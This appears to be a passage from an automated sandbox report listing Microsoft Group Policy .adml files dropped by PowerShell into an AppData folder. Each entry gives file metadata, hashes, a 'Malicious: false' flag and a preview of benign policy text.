Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>KDC Settings</displayName>.. <description>Configuration settings for the Kerberos Key Distribution Center.</description>.. <resources>.. <stringTable>.. <string id="KDC">KDC</string>.. <string id="forestsearch">Use forest search order</string>.. <string id="forestsearch_explain">This policy setting defines the list of trusting forests that the Key Distribution Center (KDC) searches when attempting to resolve two-part service principal names (SPNs).....If you enable this policy setting, the KDC will search the forests in this list if it is unable to resolve a two-part SPN in the local forest. The forest search is performed by using a glo

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Kerberos.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (840), with CRLF line terminators
Category:	dropped
Size (bytes):	19138
Entropy (8bit):	4.73754316262114
Encrypted:	false
SSDEEP:	384:7atR7siAzz45FWuozQV/hI+DklrjMvJK1ORt:ebksWnzkhI19OL
MD5:	AA29F707B1FE528F5F856EC64E771DAC
SHA1:	6F3F897807668918B8A6F7C4E78B17AA445070F9
SHA-256:	4148DF3125629ABE00141FACEF7519BBDE4D3877067A234F35C0A63B740810F6
SHA-512:	4281194C43BF70E7839FF63107549994D8C89D211317E30557B366C32E30F58505F91AD17E8073869579C6EADA056D8973CD25A489D929FAF796CAE42F5A874E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Kerberos Settings</displayName>.. <description>Configuration settings for the Kerberos authentication protocol.</description>.. <resources>.. <stringTable>.. <string id="kerberos">Kerberos</string>.. <string id="forestsearch">Use forest search order</string>.. <string id="forestsearch_explain">This policy setting defines the list of trusting forests that the Kerberos client searches when attempting to resolve two-part service principal names (SPNs).....If you enable this policy setting, the Kerberos client searches the forests in this list, if it is unable to resolve a two-part SPN. If a match is found, the Kerberos client requests a re

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\LanmanServer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (552), with CRLF line terminators
Category:	dropped
Size (bytes):	6322
Entropy (8bit):	4.728370721511469
Encrypted:	false
SSDEEP:	96:LeD5pm8qDY/ixB4w28Divg6JR+CfREEM2eYJk2y3XTE68TpwQEOgRVLTMV:E9iUw2c0rUEk2yTEZpBmLg
MD5:	33F09CDADA6D62BAE3F0DC0A3E1A2C2A
SHA1:	62BEEE0D918637A68746741C74244FCF39D1A3FB
SHA-256:	3393D80184E3C251A2E8249C13BBBE99A9045AD37550D8497D960371964BF8B7
SHA-512:	DE12FA4C934B9A56C86FF7405D3DEBE1D8F3B4AB3ACDD419888FF2399FEDCABC42CFAF26EDA458C0B874D052327B1DC7BE8C454AA4DE0CF7C920F590C40C5BF0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Cat_LanmanServer">Lanman Server</string>.. <string id="Lbl_FollowShare">Allow hash publication only for shared folders on which BranchCache is enabled</string>.. <string id="Lbl_DisableOnAllShares">Disallow hash publication on all shared folders</string>.. <string id="Lbl_EnableOnAllShares">Allow hash publication for all shared folders</string>.. <string id="Pol_HashPublication">Hash Publication for BranchCache</string>.. <string id="Pol_HashPublication_Help">This policy setting specifies w

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\LeakDiagnostic.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1590
Entropy (8bit):	4.91680451974178
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKbXSr4eKUsXZ3W5/1n0BsIvFV:LeD5pmnCr4QCW1hCsIvFV
MD5:	FAB2C03A061CF266E4BF99D9AD8410CC
SHA1:	62C30ED88810E558C2C5B29DF833E0B84979F798
SHA-256:	1FAD47D1BCFC5110370B1E428F800DD67B65037C2C029C39355D1F0AF51B4712
SHA-512:	2B49196BE14CD1493F98BB4294D50CE42481D67A02357FD6F26067588B4D19B96D7D6677E5A3B6DA5A99329B7422BD5C257C591CBD6C773E5A106EE47E6A2909
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Windows Memory Leak Diagnosis</string>.. <string id="WdiScenarioExecutionPolicy">Configure Scenario Execution Level</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting determines whether Diagnostic Policy Service (DPS) diagnoses memory leak problems.....If you enable or do not configure this policy setting, the DPS enables Windows Memory Leak Diagnosis by default.....If you disable this policy setting, the DPS is not able to diagnose memory leak problems.....

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\LinkLayerTopologyDiscovery.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (460), with CRLF line terminators
Category:	dropped
Size (bytes):	3646
Entropy (8bit):	4.907043755326407
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKIZNW4D5Drf3R5SMxeHJ/LLXdMD5ebqKrf3R5SfxeHJ/LLgX3jqS0:LeD5pmON3ljPep+sqajiep4X3jqSGvV
MD5:	92DBAD98F0E768C7BFE966BD839BB017
SHA1:	DE0047F6E6C1A639102804F0D9081783488BB331
SHA-256:	14DAFF44ECBEC76CDE21CCC68D5558BD6119A5F58C6884B9692B6341EAD643DD
SHA-512:	F74CAACA0D2CE8E4E8702E83E6F077C6BC17BC69CF2BE40698227FE003A7C1291F22D49CB3FEB50A8D418C1083EAE6767474F21AAC7F83A40620F6B461611723
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="LLTD_Category">Link-Layer Topology Discovery</string>.. <string id="LLTD_Category_Help">Configures all Link-Layer Topology Discovery components.</string>.. <string id="LLTD_EnableLLTDIO">Turn on Mapper I/O (LLTDIO) driver</string>.. <string id="LLTD_EnableLLTDIO_Help">This policy setting changes the operational behavior of the Mapper I/O network protocol driver.....LLTDIO allows a computer to discover the topology of a network it's connected to. It also allows a computer to initiate Quality-of-Servic

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\LocationProviderAdm.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1212
Entropy (8bit):	4.9162916170648305
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yYr2XjEEgr2WMb/fLqI2LHIQIeQLUgH7IYLjXr2cE5n:cgeD5x8gm8fKBqTETqRXLqbLoQWLUgbU
MD5:	FE47798FE9B3F4C43E782DF1AF166A87
SHA1:	909EE6F13A9F43305857C64DF1F2B8C91797A60B
SHA-256:	F4EDEF9970D1E3EE016E880537DB88D7B6A3B5ABD142D791FC39D39FC4E1FFA9
SHA-512:	3487FA625323C52C6BB52C09051CE0C5E41A1EAB45448C5471B2378DFDF6E478DF36E3424F08946B6F1C516E795E138CC87166DF81B4D463B5E04166949FE14E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableWindowsLocationProvider">Turn off Windows Location Provider</string>.. <string id="DisableWindowsLocationProvider_Explain">.. This policy setting turns off the Windows Location Provider feature for this computer..... If you enable this policy setting, the Windows Location Provider feature will be turned off, and all programs on this computer will not be able to use the Windows Location Provider feature..... If you disable or do not configure this policy setting, all programs on this

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Logon.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (587), with CRLF line terminators
Category:	dropped
Size (bytes):	16832
Entropy (8bit):	4.631442685712746
Encrypted:	false
SSDEEP:	384:HD5n9zbzDznNtlY2iFwIcnBJGciF7BZXmhdtP0:nzbzDzn9YPJMGcitzmx0
MD5:	7DEB6528B7BF721DA0BC53B65116E4B2
SHA1:	999291B1970366D2256B0081EBE8420E6519D13E
SHA-256:	CFF8BFAD325C4F3BE418A491D37BB367E126F24EE22FA39C809C83AED6C07033
SHA-512:	BC22B74FF1FEA301961650160914422A5A986B7082C27140817E8ABE0E2720CB9578B8EF637182CBAE5CB7E3AC8481F4E334A815645E3F13A82163A7941FEC61
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="UseOEMBackground">Always use custom logon background</string> .. <string id="UseOEMBackground_Help">This policy setting ignores Windows Logon Background.....This policy setting may be used to make Windows give preference to a custom logon background. ....If you enable this policy setting, the logon screen always attempts to load a custom background instead of the Windows-branded logon background. ....If you disable or do not configure this policy setting, Windows uses the default Windows logon background or cu

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\MMC.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (374), with CRLF line terminators
Category:	dropped
Size (bytes):	4806
Entropy (8bit):	4.701920186548574
Encrypted:	false
SSDEEP:	96:LeD5pmQsFOr1sf4h/p1IXr5KQ6A735FlZ+HQsvYxyOsFV:EsFOriforIkQ6A7zlZ+HvvYxyOsn
MD5:	E7286B16AB9A79A941457D0E5F7AC2D9
SHA1:	7E41AA47B450F332DAC6A9AEE8B1021397ACC90F
SHA-256:	5CE95BDC6780550FAD262390A824CDB07D6B426683FE1E8AFA533D6A47A8E79B
SHA-512:	5BCDA870EF7DCEDA95D4C44B8EDB9DB08BB937D5D5FB07601DE231BA21C7B7902A8D74F6A33352132C0F5D2E84C47E9AE855290444B76EDD6A59792BD8BD67C2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MMC">Microsoft Management Console</string>.. <string id="MMC_ActiveXControl">ActiveX Control</string>.. <string id="MMC_ExtendView">Extended View (Web View)</string>.. <string id="MMC_ExtensionSnapins">Extension snap-ins</string>.. <string id="MMC_LinkToWeb">Link to Web Address</string>.. <string id="MMC_RESTRICT">Restricted/Permitted snap-ins</string>.. <string id="MMC_Restrict_Author">Restrict the user from entering author mode</string>.. <string id="MMC_restrict_Author_Explain"

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\MMCSnapIns2.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (332), with CRLF line terminators
Category:	dropped
Size (bytes):	3258
Entropy (8bit):	4.817177716053599
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKqgONUGM7MG1T7yvG/sFO3hsFaSb7AqIAF9dFpgJcJTU8OiFQBeQs:LeD5pmnGCpZ7r/sFgsFaK735Sf/cMeFV
MD5:	181EDEAB7F0FA1FD7DA1D157121386D1
SHA1:	B4F9B4B91FD9D8EFA327E20516DE975892A706F1
SHA-256:	258D9502CBD3B2B6E342D1B705A17A6537865D066BEC2227BD4BD5A4D3E411F9
SHA-512:	99FF5FD5A9E50F1AE843845CC54E616F73DE24270261496087E902AB5AAA286ED9C9A19DCB230857774834DF20AAA2056D052D905F12ACBB338C845BFE8D1B9D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MMC_StorageManagerForSANSSnapIn">Storage Manager for SANs</string>.. <string id="MMC_StorageManagerForSANSSnapInExtension">Storage Manager for SANS Extension</string>.. <string id="MMC_FileServerResourceManagerSnapIn">File Server Resource Manager</string>.. <string id="MMC_FileServerResourceManagerSnapInExtension">File Server Resource Manager Extension</string>.. <string id="MMC_DiskManagementSnapInExtension">Disk Management Extension</string>.. <string id="MMC_DFSSnapIn">DFS Management</st

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\MMCSnapins.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (333), with CRLF line terminators
Category:	dropped
Size (bytes):	10156
Entropy (8bit):	4.902850417863983
Encrypted:	false
SSDEEP:	192:Eha8zqIFaazk71nt3xuH+6gqb7UFfFaK7Oz/cExtqRACAmn:u2IFWke6gqHBcR9r
MD5:	A30AB3FB1BA97BFD3AD477AD18D0BE28
SHA1:	9175E307ED491957EEB303BC6BEB8F6ABB2EB0FB
SHA-256:	48663270C2B2ED9475692772CBF5B12B635D75FA293E3059F8B81D8B4D02382E
SHA-512:	13DD57C61196B2DAC93F8C4FF602ACEA6644B4DEA08FF96B2770C50EC98CE73A9F9C3CEA3BF29ED7A3E5089474F27653BFBBDFC515FB378965D107DDA252BF0D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MMC_ActiveDirDomTrusts">Active Directory Domains and Trusts</string>.. <string id="MMC_ActiveDirSitesServices">Active Directory Sites and Services</string>.. <string id="MMC_ActiveDirUsersComp">Active Directory Users and Computers</string>.. <string id="MMC_ADMComputers">Administrative Templates (Computers)</string>.. <string id="MMC_ADMUsers">Administrative Templates (Users)</string>.. <string id="MMC_ADSI">ADSI Edit</string>.. <string id="MMC_AppleTalkRouting">AppleTalk Routing</stri

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\MSDT.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4822
Entropy (8bit):	4.7368864262977635
Encrypted:	false
SSDEEP:	96:LeD5pmtzIVVV78jVqaqGCs1HVVpLg2uw+F8c6mqSaM17CsQe2ce9e2bgzKDB2QSV:EL8jVqaTpCwSfqSaQpQe2c8e2SuS3l
MD5:	CD6F4B94C65A6A5F650EEDCC4108C1F9
SHA1:	BB95196861D768DE33C1A574CD3C3B05DE281B8B
SHA-256:	91692970671C4A0AC5A872A787F7C8D5B7C69BC36503D2815408443EA7B820DB
SHA-512:	41E53997E7FE19552B50DAE9B3E9DDC61289B69DFBD05A837A05E023D67B103DE17BC794CA897BB69DB59CBA6564471C26AD9B0C31811065E98C2270B1D67D5E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Microsoft Support Diagnostic Tool</string>.. <string id="WdiScenarioExecutionPolicy">Microsoft Support Diagnostic Tool: Configure execution level</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting determines the execution level for Microsoft Support Diagnostic Tool.....Microsoft Support Diagnostic Tool (MSDT) gathers diagnostic data for analysis by support professionals.....If you enable this policy setting, administrators can use MSDT to collect and send di

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\MSI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (499), with CRLF line terminators
Category:	dropped
Size (bytes):	30569
Entropy (8bit):	4.629506484487412
Encrypted:	false
SSDEEP:	384:S3fWPIaG5EBoj8lK1I8DBkpkBLNPn4WCMIb53woYlHMwIxTQMNBN2wJKPCoz1Nqb:7wI8DhTSb53w/4DRb
MD5:	281E7FFCCBCB02FC616FEBF6F291B411
SHA1:	EB918DDA656626758F3B4B993C12CB04BA7F18E3
SHA-256:	BEA0490CA9E830B84869A273D0011683A54FA4E92E0EFF63B9F123CFFFC40C60
SHA-512:	6C932E4F13F9FE7C0C38A92C85808138C8ACB0CA925A8B5B149CA3C0F081B90112C52A165E37DEB5A400E300386108A9CC8D8F75D68D697798E34B40325E270A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowLockdownBrowse">Allow users to browse for source while elevated</string>.. <string id="AllowLockdownBrowse_Help">This policy setting allows users to search for installation files during privileged installations.....If you enable this policy setting, the Browse button in the "Use feature from" dialog box is enabled. As a result, users can search for installation files even when the installation program is running with elevated system privileges.....Because the installation is running with elevated system p

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\MediaCenter.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	4.94325326862628
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yDIuQF6FVMFV:cgeD5x8gm8fKbyqFV
MD5:	7EFC78CEE6A256186F169D12466F667D
SHA1:	C190C0FAB77A5095D595ED65CF1E0ADF81A9AE7E
SHA-256:	DD91079C05795BD2BBA3C3F0A7167A5B8760A540C2E3000F379D4058D2E67258
SHA-512:	B5A90208C5A69F90DB1F7C90B161E066FFDFF2761BECC314D1611709EFE31848D250A45EFFBF60356E71C00370A99252CE8D4ECB804683575528F5E6FCE7432A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MediaCenter">Windows Media Center</string>.. <string id="MediaCenter_Disable">Do not allow Windows Media Center to run</string>.. <string id="MediaCenter_Disable_Help">This policy setting allows or prevents Windows Media Center to run.....Windows Media Center is a digital media player and video recorder that allows users to organize and play music and videos, and to view and record live television.....If you enable this policy setting, Windows Media Center will not run.....If you disable or do not configu

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\MobilePCMobilityCenter.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.9534177597350935
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yLwjaMb3zjS/RmN3FooRFV:cgeD5x8gm8fKkqaM3a/RmNqAFV
MD5:	F4ED8285AC3F6D33796ECEB5A7D654D7
SHA1:	8856483D9DE028B8ADED5807E7F786E61BA9A969
SHA-256:	94D9C7AAF148F31B6129B5567F963832427DE828DCD7E0B31F1BCBDBD5DBED3C
SHA-512:	6B7A56459CCC4DDE7A3EE144334295653B394D5D6499E98FC0184244D6FE4B3BE38324492378EA88C4851133678287CD4C5381120F83488AE639279CBFC8A328
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MobilityCenterCat">Windows Mobility Center</string>.. <string id="MobilityCenterEnable">Turn off Windows Mobility Center</string>.. <string id="MobilityCenterEnableExplain">This policy setting turns off Windows Mobility Center.....If you enable this policy setting, the user is unable to invoke Windows Mobility Center. The Windows Mobility Center UI is removed from all shell entry points and the .exe file does not launch it.....If you disable this policy setting, the user is able to invoke Windows Mobility

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\MobilePCPresentationSettings.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (366), with CRLF line terminators
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	4.847847941024891
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ycjpb3BnEndr90fFV:cgeD5x8gm8fKrV3Bn2RSfFV
MD5:	3D1BC388407E64D128728E5259ADAC99
SHA1:	AAF0BD72A00F01936A1B8CFF0DD9F43B4A5DEB06
SHA-256:	EC7D1B396B99416F267F99BA8D7A81199284C01CAE1A19081F2670233FA02F20
SHA-512:	68A27081AA8ABEAECED75720102C4712FCBFB0BF77918A8C47C62BA0EC4FA0F369DD605A91AF0B671DC079053F0A1328B6F5DBA9A0623E8B03095FCB65F6D83C
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PresentationSettingsCat">Presentation Settings</string>.. <string id="PresentationSettingsEnable">Turn off Windows presentation settings</string>.. <string id="PresentationSettingsEnableExplain">This policy setting turns off Windows presentation settings.....If you enable this policy setting, Windows presentation settings cannot be invoked.....If you disable this policy setting, Windows presentation settings can be invoked. The presentation settings icon will be displayed in the notification area. This wi

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Msi-FileRecovery.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (333), with CRLF line terminators
Category:	dropped
Size (bytes):	3082
Entropy (8bit):	4.810214089047188
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKyxgteEKvv4NYlVOdX71JDerq5x0BsYu9tP4XEgV:LeD5pmHWwua5PD2qjCsNtPeV
MD5:	DA778ED24DE53EF1BAF75408032E34A8
SHA1:	20B3E050E4094CDEA1765EFA73AE92DADF4D3F18
SHA-256:	1FA3057260F8642ADAF7C30D68CBDF5703BCBE983ACBEB0335FD31347D8CE4CB
SHA-512:	393A383F1CA87036A1893150514276B1277816CDAAC1704891D0345C1464D53B22C0ACD752EAF4B130EA8E3C40C3B4AC86FDADBBCD2F792414E79575C746BD82
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">MSI Corrupted File Recovery</string>.. <string id="WdiScenarioExecutionPolicy">Configure MSI Corrupted File Recovery behavior</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting allows you to configure the recovery behavior for corrupted MSI files to one of three states:....Prompt for Resolution: Detection, troubleshooting, and recovery of corrupted MSI applications will be turned on. Windows will prompt the user with a dialog box when application reinstallat

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\NAPXPQec.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.0468646750436905
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ylySwH3ZhAEonuYNuEZsFV:cgeD5x8gm8fKiSYdmFV
MD5:	A4208900FDE8B3665E5C81E299CA7BFF
SHA1:	D15B972870FC4A1FBFF2E709DBC6AB031E4A46E6
SHA-256:	156AC533DE885DE2086D1506713B46BFBCFDEB20FCD783B16C3CD4C143868549
SHA-512:	A40CFC29E6C50B0CE4D98A1F9FFF71DBB17C8A33C7018BD9C4BD80BC31257D279F75057C3EEE1AC47F5A40FC16493D188CEFFAC7B0F5C70D16E22B1A492AC97D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NAP_Category">Network Access Protection</string>.. <string id="NAP_XP_1x_QEC">Allow the Network Access Protection client to support the 802.1x Enforcement Client component</string>.. <string id="NAP_XP_1x_Help">This policy setting allows the Network Access Protection (NAP) client to support the Windows XP version of the 802.1x Enforcement Client component.....If you enable this policy setting, NAP allows the Windows XP version of the 802.1x Wireless Enforcement Client to participate. ....If you disa

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\NCSI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (417), with CRLF line terminators
Category:	dropped
Size (bytes):	5609
Entropy (8bit):	4.807720215972321
Encrypted:	false
SSDEEP:	96:oD5pmB6SbbXVjG7/loPSNYOag8hW3QDFzdQFXukdFeYoZTe2FRA15VrpbWFo9FV:+jErVjGmighWmAd8KoPe
MD5:	C62CBB79E2AF2E3CC1FD69206D0C9716
SHA1:	3C18FFFC927A30CCD66B2D23D553BCA29642497D
SHA-256:	5E583582C0A4A933C3A0E4A4270E034DE6B8DD23B2676A1ECAD986DB71F28E7D
SHA-512:	B65C8F3EF4A1DBA11E8E915F8E31A874E83042923F98941CD8441066C103ABBB61A720BF24729CE17DEDC1916873BB86E7C5E1830D4AA96982EE0592E3830F2D
Malicious:	false
